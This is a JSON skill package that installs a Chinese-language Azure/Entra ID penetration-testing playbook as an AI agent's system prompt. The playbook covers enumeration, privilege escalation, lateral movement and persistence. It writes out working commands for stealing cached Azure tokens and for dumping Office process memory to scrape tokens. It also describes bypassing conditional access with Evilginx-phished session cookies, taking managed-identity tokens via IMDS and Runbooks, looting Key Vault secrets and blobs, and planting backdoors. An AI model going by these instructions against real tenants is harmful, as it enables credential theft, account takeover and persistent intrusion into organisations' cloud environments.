{
    "format": "skillpro/v1",
    "skill_id": "wgpsec-aboutsecurity-skills-cloud-azure-pentesting-skill-md",
    "name": "azure-pentesting",
    "version": "1.0.0",
    "description": "Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产（Blob Storage/App Service/Azure VM/Azure Functions）、获取 Azure 凭据（Service Principal/Managed Identity/Access Token）、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面",
    "category": [
        "开发编程"
    ],
    "trigger_words": [],
    "tags": [
        "cloud"
    ],
    "source": "DeepseekModel",
    "source_url": "https://deepseekmodel.com/skill?id=wgpsec-aboutsecurity-skills-cloud-azure-pentesting-skill-md",
    "exported_at": "2026-09-16T21:05:17+08:00",
    "system_prompt": "name azure-pentesting description Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产（Blob Storage/App Service/Azure VM/Azure Functions）、获取 Azure 凭据（Service Principal/Managed Identity/Access Token）、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面 metadata {\"tags\":\"azure,entra,microsoft365,blob,app-service,vm,managed-identity,service-principal,提权,后渗透,Azure渗透,云安全\",\"category\":\"cloud\"} Azure 云环境渗透测试方法论 Azure 是全球第二大公有云平台，同时深度绑定 Entra ID（原 Azure AD）和 Microsoft 365 生态。其攻击面呈现独特的\"三层结构\"——Entra ID 身份层（租户、用户、应用注册、Service Principal）、Azure Resource Manager 资源层（订阅、资源组、RBAC）、以及数据层（Blob Storage、Key Vault、SQL Database）。与 AWS 相比，Azure 的核心差异在于：身份系统（Entra ID）与资源管理系统（ARM）是两套独立的授权体系，且 Entra ID 的 Global Administrator 可以通过 elevateAccess 接管所有 Azure 订阅。有时我们可能会通过各种方法获得了一个凭证，但是这个账号可能只能访问M365全家桶比如word,ppt,sharepoint应用,并不一定能访问Azure云subscription资源,需要手动确认。本技能以攻击阶段（Phase）为主线，组织从\"零凭据\"到\"完全控制\"的完整渗透路径。 深入参考 识别到具体攻击阶段后，加载对应参考文档获取完整技术细节： 未授权枚举技术清单（Tenant 发现、子域枚举、公开 Blob、用户枚举） → 读 references/unauthenticated-enum.md 持久化与后渗透技术清单（Entra ID、Automation、VM、Key Vault 等 12+ 服务） → 读 references/persistence-techniques.md Phase 0: 攻击面判断 拿到一个 Azure 相关目标后，首先判断当前手持的资产类型，决定进入哪个攻击阶段： 当前持有什么？ ├── 无任何凭据 │ ├── 有目标域名/公司名 → Phase 1（未授权枚举） │ ├── 有 SSRF 漏洞（Azure VM/App Service/Functions） │ │ └── 打 IMDS 169.254.169.254 获取 Managed Identity Token → Phase 2(目前这个方法不行了，因为如果想拿IMDS需要Metadata: true请求头,大部分的SSRF只能发 GET，且不能自定义 header,最理想的情况其实是命令执行会比较有可能多点现在) │ └── 仅知道组织名称 → OSINT + Phase 1 │ ├── 有 Azure 用户账号密码 │ ├── 能正常登录 → Phase 2（权限评估） │ └── 被条件访问策略（CA）阻止 → 绕过 CA 或尝试 Service Principal │ └── 如果是通过钓鱼比如Evilginx获得账号密码,由于Evilginx会收割目标的Cookie,账号密码，我们可以通过导入cookie绕过CA。这个逻辑很简单，比如你人在中国，但是目标账号经常在新加坡登录，现在突然从新加坡登录IP飞到中国容易收到CA登录阻止。但如果通过Evilginx收割会话，是让目标在这个会话中完成了一整套验证，微软会给该cookie打上验证完成无安全问题，因此我们如果导入该cookie可以绕过CA限制。 │ ├── 有 Service Principal 凭据（Client ID + Client Secret / 证书 / Certificate Private Key (.pfx/.pem/.key)） │ └── → Phase 2（注意：SP 通常不受 MFA/CA 限制） │ ├── 有 Access Token / Refresh Token │ ├── Access Token → 直接使用（有效期通常 1 小时） │ └── Refresh Token → 刷新获取新 Access Token → Phase 2 │ ├── 在 Azure VM / App Service / Functions 内部 │ └── 查询 IMDS 获取 Managed Identity Token → Phase 2 │ └── 有开发者工作站访问权限 └── 检查 ~/.Azure/ 目录获取缓存凭据 → Phase 2 Azure 凭据类型速查 凭据类型 识别特征 有效期 获取方式 用户账号密码 user@tenant.onmicrosoft.com 永久（直到修改需要二次确认是否有云的访问资格） 泄露/钓鱼/密码喷洒 Service Principal Secret Client ID (GUID) + Secret (随机字符串) 可配置（默认 2 年） 应用注册/泄露 Service Principal 证书 Client ID + PFX/PEM 证书 证书有效期 应用注册/泄露 Access Token eyJ0eXAi... (JWT 格式) 通常 1 小时 认证流/IMDS/缓存 Refresh Token 0.ARMA... 格式 最长 90 天（滑动窗口） 缓存文件/令牌窃取 Managed Identity Token 通过 IMDS 获取的 JWT 24 小时（自动轮换） VM/App Service 内部 SAS Token URL 中 sig=... 参数 可配置 Storage Account 生成 凭据缓存文件（开发者工作站） 在已入侵的开发者机器中，检查以下路径获取 Azure 凭据： # az CLI 缓存（Linux/macOS 明文存储） cat ~/.Azure/azureProfile.json # 登录用户信息 cat ~/.Azure/msal_token_cache.json # Access Token + Refresh Token cat ~/.Azure/service_principal_entries.json # SP 凭据（仅 Linux/macOS） # Az PowerShell 缓存 pwsh -Command \"Save-AzContext -Path /tmp/az-context.json\" # Windows DPAPI 加密（需解密） # C:\\Users\\<user>\\.Azure\\service_principal_entries.bin # C:\\Users\\<user>\\.Azure\\msal_token_cache.bin # C:\\Users\\<user>\\AppData\\Local\\Microsoft\\IdentityCache\\*.bin # C:\\Users\\<user>\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\*.tbres #还有另外一种方法，有点类似与取证技巧,先观察是微软全家桶比如word是否在运行,在用户登录后，会代表用户去访问云服务，比如 Microsoft Graph 或 Outlook 相关接口（如 outlook.office365.com）。为了避免每次都重新登录，这些访问用到的 access token 会被缓存到本地，路径就是 %LOCALAPPDATA%\\Microsoft\\TokenBroker\\Cache。也就是说，只要用户在这台机器上用过 Office 登录过 365，你其实有机会“捡现成的 token”,但注意前提是你有admin权限 Get-Process -IncludeUserName | Format-Table -AutoSize -Wrap #如果发现word在运行用procdump去导一下 procdump.exe -mp id -accepteula #然后再用string去分析.dmp文件是否包含token特征比如eyJ0ex..... strings.exe WINWORD.EXE_260425_074224.dmp -accepteula | findstr /i eyJ0eX Phase 1: 未授权枚举 在没有任何 Azure 凭据的情况下，仍可对目标 Tenant 进行大量信息收集。Azure 的公开 API 和子域名结构提供了丰富的枚举面。 高价值枚举目标 目标 攻击方式 价值 Tenant 信息 login.microsoftonline.com 公开 API Tenant ID、域名、SSO 配置 用户枚举 AADInternals / o365spray 有效账号列表 → 密码喷洒 子域名 MicroBurst 枚举 20+ Azure 子域 发现暴露的服务端点 Blob Storage 公开容器枚举 数据泄露、凭据文件 App Service azurewebsites.net 端点 Web 漏洞利用 → Managed Identity Azure Functions 公开 HTTP 触发器 代码注入/SSRF → Managed Identity Azure DevOps dev.azure.com 公开项目 代码泄露、Pipeline 凭据 快速 Tenant 枚举 # 使用 AADInternals 获取 Tenant 全貌 Install-Module AADInternals Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table # 获取 Tenant ID curl -s \"https://login.microsoftonline.com/target.com/.well-known/openid-configuration\" | jq '.token_endpoint' | grep -oP '[a-f0-9-]{36}' # 枚举 Tenant 下所有域名 Get-AADIntTenantDomains -Domain target.com # 检查用户是否存在 Invoke-AADIntUserEnumerationAsOutsider -UserName \"admin@target.com\" 子域名与 Blob 枚举 # MicroBurst 子域枚举（覆盖 20+ Azure 域后缀） Import-Module MicroBurst Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose # Blob 公开容器枚举 Invoke-EnumerateAzureBlobs -Base targetcorp # 手动检查 Blob 容器 curl -s \"https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list\" → 完整的未授权枚举技术清单，读 references/unauthenticated-enum.md Phase 2: 凭据验证与权限评估 获取凭据后，第一步是验证有效性并评估权限范围。Azure 存在 Entra ID 和 ARM 两套独立授权体系，需分别枚举。 2.1 身份确认 # az CLI — 确认当前身份 az account show # 当前订阅和租户 az ad signed-in-user show # 当前 Entra ID 用户信息 # 列出可访问的所有订阅 az account list --output table #列出当前能访问的资源 Get-AzResource #获得当前被分配的角色 Get-AzRoleAssignment # Az PowerShell Get-AzContext # 当前上下文 Get-AzSubscription # 可访问的订阅 # 如果是 Service Principal az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID 2.2 权限与服务枚举 # ARM 层：查看当前用户在订阅上的角色 az role assignment list --assignee \"USER_OBJECT_ID\" --all --output table # ARM 层：查看对特定资源的权限 az rest --method GET \\ --url \"https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01\" # ARM 层：枚举可见资源 az resource list --output table # 或 Get-AzResource # 查看某个角色的定义，如果遇到自定义角色 az role definition list --name \"ROLE_NAME\" # 列出所有 Key Vault 实例 az keyvault list # 列出指定 Key Vault 中的所有 Secret 名称 az keyvault secret list --vault-name VAULT_NAME # 读取指定 Secret 的值 az keyvault secret show -- id https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME # 列出当前订阅下所有虚拟机 az vm list # 获取指定虚拟机的公网和私网 IP 地址 az vm list-ip-addresses -g RESOURCE_GROUP -n VM_NAME # 远程在目标 VM 上执行 Shell 命令。需要 VM RunCommand 权限 az vm run-command invoke -g RESOURCE_GROUP -n VM_NAME \\ --command-id RunShellScript \\ --scripts \"whoami\" # PowerShell 版本远程执行命令 Invoke-AzVMRunCommand -VMName vm -ResourceGroupName rg -CommandId RunShellScript -ScriptString \"whoami\" # 列出当前订阅中的所有 Storage Account Get-AzStorageAccount #列出指定存储账户中的容器 Get-AzStorageContainer -Context $storageAccount .Context #列出容器中的 Blob 文件 Get-AzStorageBlob -Container “xx” -Context $storageAccount .Context #列出所有 Automation Account az automation account list #列出 Automation Account 中的所有 Runbook Get-AzAutomationRunbook -ResourceGroupName RG -AutomationAccountName AA #执行指定 Runbook。 若绑定高权限身份可实现提权 Start-AzAutomationRunbook #查看当前 Azure 订阅或指定 Scope 下的 Azure Lighthouse 注册分配 Get-AzManagedServicesAssignment | Format-List * #列出订阅中的公网 IP 资源 az network public-ip list #列出所有网络安全组 az network nsg list #查看指定 NSG 的规则详情 Get-AzNetworkSecurityGroup -Name xx #获取ADO token 如果是用户名密码凭证 这里的499bxx就是dev ops id ADO_TOKEN=$(az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query accessToken -o tsv) #枚举项目 curl -s -H \"Authorization: Bearer $ADO_TOKEN \" \"https://dev.azure.com/<组织名>/_apis/projects?api-version=7.0\" #读取repo curl -s -H \"Authorization: Bearer $ADO_TOKEN \" \"https://dev.azure.com/<组织名>/<项目>/_apis/git/repositories?api-version=7.0\" #读取特定repo里面内容 curl -s -H \"Authorization: Bearer $ADO_TOKEN \" \\ \"https://dev.azure.com/<组织名>/<repo 名>/_apis/git/repositories?api-version=7.0\" #用ado token作为密码克隆项目代码到本地 git clone https://用户名%40域名.com: $ADO_TOKEN @dev.azure.com/<组织名>/<repo 名>/_git/<repo 名> #Entra ID 层 graph 枚举,首先是连接 token可以去访问myapps.microsoft.com然后点开dev tool输入graph.关键词过滤定位 Connect-MgGraph -AccessToken (<graph-token> | ConvertTo-SecureString -AsPlainText -Force) Get-MgContext #读取所有user Get-MgUser -All #列出当前所有组 Get-MgGroup #列出租户中注册的Application Registration Get-MgApplication -All #列出租户中的 Service Principal（企业应用） Get-MgServicePrincipal #根据显示名称查找指定 Service Principal Get-MgServicePrincipal -Filter \"DisplayName eq '<name>'\" #查询这个 Service Principal 拥有哪些 Azure AD 对象 Get-MgServicePrincipalOwnedObject -ServicePrincipalId <sp-id> #列出某个 Administrative Unit（管理单元，AU） 里的所有成员 Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId <au-id> -All #出 Entra ID 里的 Conditional Access Policies（条件访问策略） Get-MgIdentityConditionalAccessPolicy #查看租户级别的 Authentication Methods Policy（认证方法策略） Get-MgPolicyAuthenticationMethodPolicy #查看某个指定 Group 的详细信息 Get-MgGroup -GroupId <group-id> #列出某个 group 里的成员 Get-MgGroupMember -GroupId <group-id> #获取指定用户邮箱中的邮件 Get-MgUserMessage -UserId <user-upn> #列出当前身份有权限访问的所有 Microsoft Teams Chat Get-MgChat | Format-List #读取某一个 Chat 里面的所有消息 Get-MgChatMessage -ChatId <chat-id> | Format-List #读取某一条 Teams 消息的正文 (Get-MgChatMessage -ChatId <chat-id> -ChatMessageId <message-id>).Body.Content # Entra ID 层：枚举目录角色 az rest --method GET \\ --url \"https://graph.microsoft.com/v1.0/me/memberOf\" | jq '.value[].displayName' # 自动化权限发现 # Find_My_Az_Management_Permissions — 自动枚举所有资源权限 python3 Find_My_Az_Management_Permissions.py 2.3 权限评估决策树 当前身份权限如何？ ├── Entra ID Global Administrator │ ├── 已可管理所有 Entra ID 资源 │ └── 通过 elevateAccess 接管所有 Azure 订阅 → Phase 4 │ ├── 有特定 Entra ID 角色（Application Admin/Cloud App Admin/...） │ └── 检查是否可操控应用注册/Service Principal → Phase 3 (Entra 提权) │ ├── 有 Azure Owner/Contributor 角色 │ ├── 在特定订阅/资源组范围 → 直接操作资源 → Phase 4 │ └── 尝试横向到其他订阅 → Phase 3 │ ├── 有特定服务权限（如 Microsoft.Compute/virtualMachines/*） │ ├── 检查是否可操控 Managed Identity → Phase 3 │ └── 直接利用当前权限进行后渗透 → Phase 4 │ └── 权限极低 → 尝试利用默认 Entra ID 读权限枚举所有用户/组/应用 └── 寻找提权路径 → Phase 3 参考 cloud-iam-audit 技能，进行跨云 IAM 审计 2.4 自动化审计工具 工具 用途 命令 AzureHound Azure 攻击路径图谱（BloodHound 生态） azurehound list -t TENANT_ID --refresh-token RT ROADtools Entra ID 全量枚举与分析 roadrecon auth -u USER -p PASS && roadrecon gather && roadrecon gui ScoutSuite 多云安全审计报告 scout azure --cli Prowler Azure 安全最佳实践检查 prowler azure MicroBurst Azure 枚举与攻击工具集 Import-Module MicroBurst PowerZure Azure 利用框架 Import-Module PowerZure AADInternals Entra ID 深度利用 Install-Module AADInternals GraphRunner Microsoft Graph API 利用 Import-Module GraphRunner Phase 3: 提权 Azure 提权发生在两个层面：Entra ID 身份层提权和 ARM 资源层提权。两者相互独立但可互相转化——Entra ID Global Admin 可通过 elevateAccess 获取 ARM Owner，反之 ARM 层某些权限可操控 Entra ID 对象。 Entra ID 层提权 参考 azure-ad-attack 技能，获取 Entra ID 提权与攻击深度指南 核心提权路径： 提权路径 关键角色/权限 原理 应用注册密钥注入 Application Admin / Cloud App Admin 给高权限应用添加新 Secret/证书，以 SP 身份登录 条件访问策略绕过 — SP 登录通常不受 CA 限制，IP/地理限制可绕过 目录角色滥用 Privileged Role Admin 给自己分配 Global Admin 角色 动态组滥用 — 修改用户属性匹配动态组规则，继承组的角色分配 管理单元逃逸 Helpdesk Admin 在受限 AU 外 重置不受 AU 保护的管理员密码 Consent Grant 攻击 应用同意权限 诱导管理员同意高权限 OAuth 应用 ARM 资源层提权决策表 提权路径 关键 ARM 权限 原理 角色分配写入 Microsoft.Authorization/roleAssignments/write 给自己分配 Owner 角色 角色定义修改 Microsoft.Authorization/roleDefinitions/Write 修改已分配角色的 Actions 为 * elevateAccess Global Admin + elevateAccess/action GA 提升为根范围 User Access Admin Managed Identity 绑定 服务写权限 + ManagedIdentity/assign/action 将高权限 MI 绑定到可控资源 Automation Runbook Automation/automationAccounts/jobs/write 通过 Runbook 执行代码获取 MI Token VM 命令执行 Compute/virtualMachines/extensions/write CustomScript Extension 在 VM 中执行命令 Function App 代码覆盖 Storage 写权限（File Share/Blob） 修改函数代码获取绑定的 MI Token App Service SSH Web/sites/publish/Action SSH 进入 App Service 获取环境变量和 MI Key Vault 策略修改 KeyVault/vaults/write 修改访问策略获取 Secret/Key/Cert Logic App 后门 Logic/workflows/write 利用 MI 执行任意 Azure API 操作 Managed Identity 提权核心流程 Managed Identity 是 Azure 提权中最关键的枢纽（类似 AWS 的 PassRole）。如果攻击者可以在绑定了高权限 MI 的资源中执行代码，就能获取该 MI 的 Token： 攻击者拥有: Automation Account 写权限 + 目标 MI 绑定在该 Account │ ├─ 1. 创建/修改 Runbook，代码中请求 MI Token │ $token = (Invoke-WebRequest -Uri \"$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/\" \\ │ -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER}).Content ├─ 2. 执行 Runbook └─ 3. 获取高权限 MI Token → 接管目标资源 # VM 内部获取 Managed Identity Token（通过 IMDS） curl -s -H \"Metadata:true\" \\ \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/\" # App Service / Functions 内部获取 MI Token curl -s -H \"X-IDENTITY-HEADER: $IDENTITY_HEADER \" \\ \" $IDENTITY_ENDPOINT ?resource=https://management.azure.com/&api-version=2019-08-01\" Phase 4: 横向移动 Azure 环境中的横向移动发生在三个维度： 跨订阅移动： 利用 Management Group 层级的角色继承 利用跨订阅的 Managed Identity 分配 利用共享 Key Vault / Storage Account 跨服务移动： VM CustomScript Extension → 横向到其他 VM Automation Hybrid Worker → 从云端到 OnPrem 机器 App Service / Functions → 通过 MI 访问其他服务 Cloud-to-OnPrem 移动： Azure AD Connect → 同步服务器 → 域控 Hybrid Worker → OnPrem 网络 Azure AD PHS/PTA/Federation → OnPrem AD 参考 azure-hybrid-lateral 技能，获取 Cloud-to-OnPrem 横向移动深度指南 Phase 5: 后渗透与持久化 获得较高权限后，进入后渗透阶段。 5.1 数据发现与获取 优先搜索哪些数据源？ ├── Key Vault → 密码、证书、API 密钥、连接字符串 ├── Blob Storage → 文档、备份、日志、配置文件 ├── SQL Database / Cosmos DB → 业务数据 ├── App Service / Functions 环境变量 → 数据库连接串、第三方 API 密钥 ├── Automation Account 变量/凭据 → 加密变量、存储的凭据 └── Azure DevOps → 代码仓库、Pipeline 密钥、Variable Groups # 列出 Key Vault 密钥 az keyvault list --output table az keyvault secret list --vault-name VAULT_NAME --output table az keyvault secret show --vault-name VAULT_NAME --name SECRET_NAME # 列出 Storage Account 并下载敏感文件 az storage account list --output table az storage account keys list --account-name ACCOUNT_NAME az storage blob download-batch -d ./loot -s CONTAINER --account-name ACCOUNT_NAME # 获取 App Service 环境变量（含数据库连接串等） az webapp config appsettings list --name APP_NAME --resource-group RG # 获取 Automation Account 变量 az automation variable list --automation-account-name ACCT --resource-group RG 5.2 持久化技术概览 服务 持久化方法 隐蔽性 Entra ID 应用注册 添加 Secret/证书到高权限应用、创建新 OAuth 应用 中 Service Principal 创建 Federated Identity Credential（信任外部 IdP） 高 Federation 添加可信域 + 伪造 Token（Golden SAML 变种） 高 Automation Account Runbook 后门 + Schedule/Webhook 定时触发 中 VM Custom Script Extension、User Data 后门、SSH Key 注入 中 Cloud Shell .bashrc / PS Profile 后门（持久存储） 高 Key Vault 修改访问策略保留访问、提取密钥后外部使用 中 Storage Account 生成长期 SAS Token、保存 Access Key 高 Logic App 后门 Workflow + SAS URL 触发 高 SQL Database 创建后门 SQL 用户、防火墙规则 中 Azure DevOps PAT 创建、Pipeline 注入、Service Connection 后门 高 → 完整的 12+ 服务持久化技术清单，读 references/persistence-techniques.md 附录: Azure 速查 常用 az CLI 命令 # 身份与权限 az account show # 当前上下文 az account list --output table # 所有可访问订阅 az ad signed-in-user show # 当前用户 az role assignment list --assignee \"ID\" --all # 角色分配 # 枚举资源 az resource list --output table # 所有可见资源 az vm list --output table # VM 列表",
    "model_config": {
        "provider": "deepseek",
        "model": "deepseek-chat",
        "temperature": 0.7,
        "max_tokens": 4096,
        "top_p": 0.9
    },
    "examples": [
        {
            "input": "请用azure-pentesting帮我处理问题",
            "output": "好的，我是azure-pentesting。Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产（Blob Storage/App Service/Azure VM/Azure Functions）、获取 Azure 凭据（Service Principal/Managed Identity/Access Token）、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面 我会根据你的需求提供专业帮助。"
        },
        {
            "input": "介绍一下你的能力",
            "output": "我是azure-pentesting，专注于开发编程领域。Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产（Blob Storage/App Service/Azure VM/Azure Functions）、获取 Azure 凭据（Service Principal/Managed Identity/Access Token）、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面"
        }
    ],
    "install_guide": {
        "coze": "在 Coze 平台创建 Bot -> 技能配置 -> 导入此 .skill 文件",
        "dify": "在 Dify 平台创建应用 -> 添加知识库 -> 导入此 .skill 配置",
        "claude": "将 system_prompt 字段内容复制到 Claude 自定义指令中",
        "custom": "将此 .skill 文件加载到你的 AI Agent 框架中，解析 system_prompt 和 model_config 即可使用"
    },
    "scripts": {
        "python": "# azure-pentesting - Python extension\n# Add custom Python logic here\ndef process(input_data):\n    return input_data\n",
        "javascript": "// azure-pentesting - JavaScript extension\n// Add custom JS logic here\nfunction process(inputData) {\n    return inputData;\n}\n"
    },
    "tools": {
        "mcp_servers": [],
        "api_endpoints": []
    },
    "dependencies": {
        "python": [],
        "node": []
    },
    "hooks": {
        "on_load": "echo \"Skill loaded: azure-pentesting\"",
        "on_call": "",
        "on_error": "echo \"Skill error: please check logs\""
    }
}